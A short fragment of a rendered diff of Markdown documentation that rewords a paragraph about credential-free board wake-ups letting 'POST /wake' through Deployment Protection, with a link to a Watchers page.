|
|
|
85
78
|
configure, and never reads or creates a saved bypass. A deployment without
|
|
86
79
|
OIDC fails with how to enable it.
|
|
87
80
|
|
|
88
|
-
A board's wake-ups go the other way, and carry no credential. A project
|
|
89
|
-
board
|
|
90
|
-
itself: see
|
|
81
|
+
A board's wake-ups go the other way, and carry no credential. A project whose
|
|
82
|
+
watchers a board wakes at a URL, behind Deployment Protection, lets
|
|
83
|
+
`POST /wake` through itself: see
|
|
84
|
+
[Watchers](../01-board/06-watchers.md#woken-by-the-board).
|
|
91
85
|
|
|
92
86
|
## Scope and inspect
|
|
93
87
|
|